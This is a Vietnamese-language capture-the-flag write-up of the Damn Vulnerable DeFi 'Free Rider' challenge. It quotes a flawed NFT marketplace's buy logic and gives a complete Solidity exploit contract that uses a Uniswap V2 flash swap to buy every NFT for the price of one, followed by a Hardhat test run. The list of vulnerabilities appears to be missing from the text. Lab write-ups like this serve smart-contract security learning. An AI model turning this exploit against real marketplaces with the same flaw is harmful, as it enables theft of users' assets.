Skip to content

Damn Vulnerable Defi writeups: 10 - Free Rider

Posted on:March 19, 2022

Challenge #10 - Free rider

Nhiệm vụ: Một NFT marketplace mới được release! Trên market đang bán 6 NFT, mỗi cái giá 15ETH. Có một người đã tiết lộ cho bạn biết rằng: marketplace này có lỗ hổng, nếu bạn có thể lấy được cho anh ta toàn bộ số NFT đó thì sẽ được thưởng 45ETH. Với 0.5ETH trong tay, hãy kiếm phần thưởng thôi!

Phân tích

Ta nhìn qua logic việc mua NFT trên market:

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _buyOne(tokenIds[i]);
    }
}

function _buyOne(uint256 tokenId) private {
    uint256 priceToPay = offers[tokenId];
    require(priceToPay > 0, "Token is not being offered");

    require(msg.value >= priceToPay, "Amount paid is not enough");

    amountOfOffers--;

    // transfer from seller to buyer
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

    // pay seller
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

Logic này có 2 lỗ hổng cực kì nguy hiểm:

Ngoài ra, trong challenge này còn cung cấp cho chúng ta một Uniswap-v2 pool chứa 12000 DVT và 9000 ETH. Ta biết rằng Uniswap v2 cung cấp cho chúng ta flashswap, có nghĩa là vay trước trả sau, cũng giống như flash loan vậy. Vậy thì đơn giản: vay - mua mà không mất tiền - trả vay. Hết.

Ta có kịch bản khai thác như sau:

Exploit

Lưu ý một điều ở đây là market sử dụng safeTransferFrom cho NFT transfer, do đó để contract có thể nhận được NFT, ta sẽ phải implement thêm hàm onERC721Received thì mới có thể nhận được NFT.

Lưu ý tiếp theo là để contract nhận được ETH thì nhớ implement receive() external payable {}

Chuẩn bị contract Rekt:

contract RektFreeRider {
    FreeRiderNFTMarketplace public immutable market;
    // FreeRiderBuyer public immutable buyer;
    IUniswapV2Pair public immutable pair;
    WETH public immutable weth;
    DamnValuableNFT public immutable nft;
    address public buyer;

    constructor(
        address payable _market,
        address _pair,
        address _weth,
        address _nft,
        address _buyer
    ) {
        market = FreeRiderNFTMarketplace(_market);
        pair = IUniswapV2Pair(_pair);
        weth = WETH(_weth);
        nft = DamnValuableNFT(_nft);
        buyer = _buyer;
    }

    function rekt(uint256 _amount) external {
        address token0 = IUniswapV2Pair(pair).token0();
        address token1 = IUniswapV2Pair(pair).token1();
        uint256 amount0Out = address(weth) == token0 ? _amount : 0;
        uint256 amount1Out = address(weth) == token1 ? _amount : 0;

        bytes memory data = abi.encode(_amount);
        pair.swap(amount0Out, amount1Out, address(this), data);
    }

    function uniswapV2Call(
        address sender,
        uint256,
        uint256,
        bytes calldata data
    ) external {
        require(msg.sender == address(pair), "!pair");
        require(sender == address(this), "!sender");
        uint256 amount = abi.decode(data, (uint256));

        weth.withdraw(15 ether);
        uint256[] memory tokenIds = new uint256[](6);
        for (uint256 i = 0; i < 6; i++) tokenIds[i] = i;

        market.buyMany{value: 15 ether}(tokenIds);

        for (uint256 i = 0; i < 6; i++) {
            nft.safeTransferFrom(address(this), buyer, i);
        }

        weth.deposit{value: 15 ether}();

        uint256 fee = ((amount * 3) / 997) + 1;
        weth.transferFrom(tx.origin, address(this), fee);
        uint256 amountToRepay = amount + fee;
        weth.transfer(address(pair), amountToRepay);
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Tiến hành chạy kịch bản:

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  await this.weth
    .connect(attacker)
    .deposit({ value: ethers.utils.parseEther("0.1") });

  const RektFreeRider = await ethers.getContractFactory(
    "RektFreeRider",
    attacker
  );
  this.rekt = await RektFreeRider.deploy(
    this.marketplace.address,
    this.uniswapPair.address,
    this.weth.address,
    this.nft.address,
    this.buyerContract.address
  );
  this.weth
    .connect(attacker)
    .approve(this.rekt.address, ethers.constants.MaxUint256);

  await this.rekt.connect(attacker).rekt(ethers.utils.parseEther("15"));
});

Check lại kết quả

  [Challenge] Free Rider
Exploit (387ms)


  1 passing (3s)

All done!

Bình luận

Đây là một thử thách không quá khó, nhưng nó yêu cầu rất nhiều kỹ năng tổng hợp. Từ việc nắm được bản chất flashswap của uniswap, cho tới mối quan hệ giữa ETH-WETH, rồi khả năng nhận NFT của contract. Ý tưởng được đưa ra khá nhanh, nhưng bắt tay vào và ghép nối các ý tưởng thành code thực sự là vất vả.